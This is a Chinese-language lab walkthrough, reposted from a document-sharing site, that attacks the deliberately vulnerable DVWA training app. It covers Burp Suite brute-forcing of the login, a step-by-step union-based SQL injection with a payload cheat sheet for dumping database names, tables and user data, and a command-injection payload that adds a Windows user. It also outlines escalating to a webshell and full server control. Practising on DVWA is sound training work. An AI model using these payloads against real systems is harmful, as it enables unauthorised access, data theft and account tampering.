DVWA测试1218zy.docx
《DVWA测试1218zy.docx》由会员分享,可在线阅读,更多相关《DVWA测试1218zy.docx(16页珍藏版)》请在冰豆网上搜索。
DVWA测试1218zy
暴力破解:
使用burpsuite代理,拦截dvwa登陆,抓取登陆信息
右键选择sendtointruder
来到标签positions功能下
点击clear§,去掉前后的§符号,然后在用户名和密码的前后位置加上§符号,点击add§按钮即可
特别注意,由于是暴力破解用户名和密码,所以要选择attacktype为clusterbomb:
打打payloads标签并在下拉列框中选择runtimefile:
选择用户名文件和密码文件,没有的话,自己新建一个用户字典:
由于是测试暴力破解工具,所以,字典文件内容要正确,否则是不成功的:
在payloadset下拉框中,选择1和runtimefile,然后selectfile选择第一个参数的文件users.txt;选择2和runtimefile,一再选择密码字典文件password.txt。
点击options,并打开标签“extrack”
钩选extractthefollowingitemsformresponses复选框,然后点击“add”新一个响应包含的关键字index.php,因为登录成功为转到index.php,否则到login.php,成功与否返回长度相同,所以不能用传统的方式判断成功与否。
点击intruder->startattack开始暴破
查看破解结果:
第8行为成功破解的结果
SQL注入:
登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。
1、找到SQl Injection 选项,测试是否存在注入点,这里为用户交互表单查询的地方,这也是常见的SQL注入漏洞存在的地方。
正常测试,输入1,可以得到如下结果:
输入’后提示:
YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1(你的SQL语法有错误;检查对应于你的MySQL服务器版本使用近1行'''''正确的语法手册)
2、有了这样的提示后,我们可以尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:
1 or 1=1 ,看能否把数据库表中的内容遍历出来。
可是结果如下,并没有显示出所有信息,如下图:
我们可以猜测后台应用程序是否将这里的值定义为了字符,所以我们可以在尝试试用字符类型注入,1’or’1’=’1,如下图:
遍历出了数据库中的所有内容,如果是重要的数据库表,这样的结果已经对于攻击者有了足够的意思。
3.使用orderby语句查询数据库列信息。
“1‘orderby1--“,“1‘orderby2--”,“1’orderby3--”,依次查看查询结果。
1‘orderby3–时会提示没有这个列,这样我们可以得出查询结果只有2列
4.通过得到连接数据库账户信息、数据库名称、数据库版本信息。
利用user(),及database(),version()等三个内置函数。
这里尝试注入“1‘and1=2unionselect1,2--”结果如下
得出的结果,firstname处显示结果为查询第一列的值,surname为第二列,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
1' and 1=2 union select user(),database() --
连接数据库的用户为root@localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,“1' and 1=2 union select version(),database() -- ”便得到了版本信息
5.获得操作系统信息
1'and1=2unionselect1,@@global.version_compile_osfrommysql.user--
6.查询mysql数据库,所有数据库名字:
这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1'and1=2unionselect1,schema_namefrominformation_schema.schemata--
7.猜解dvwa数据库中的表名。
利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。
这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。
这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。
1' and exists(select * from users) --
8.猜解字段名:
1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name
1'andexists(selectfirst_namefromusers)--
1'andexists(selectlast_namefromusers)--
9.爆出数据库中字段的内容 :
1' and 1=2 union select first_name,last_name from users –
这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。
这里我们可以大致总结渗透的一般思路:
1、寻找注入点,可以通过web扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:
1' order by 2 -- /*用来猜解查询信息的列数
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
命令注入漏洞:
Dvwa中有CommandExecutionVulnerability命令注入漏洞模块
漏洞产生的原因:
程序中因为某些功能需要执行系统命令,并通过网页传递参数到后台执行.然后最根本的原因是没有对输入框中的内容做代码过滤,正常情况下输入框只能接受指定类型的数据.
命令注入漏洞可以使攻击者在受攻击的服务器上执行任意的命令.
在命令模块中输入127.0.0.1&&dir可查看当前目录下的文件(针对windows).
攻击方法:
我们可以把dir命令改为删除用户、添加用户、修改密码等windows命令。
现在创建一个用户为xiaozhu密码为P@ssw0rd,命令为:
127.0.0.1&&netuserxiaozhuP@ssw0rd/add
现在去服务器上看看是否已经有xiaozhu这个用户了
跨站脚本攻击:
在XSSreflected中输入
存储式跨站脚本攻击:
在此登陆时就会有连接弹出
如果想要阻止这个跨站,重新创建数据库即可!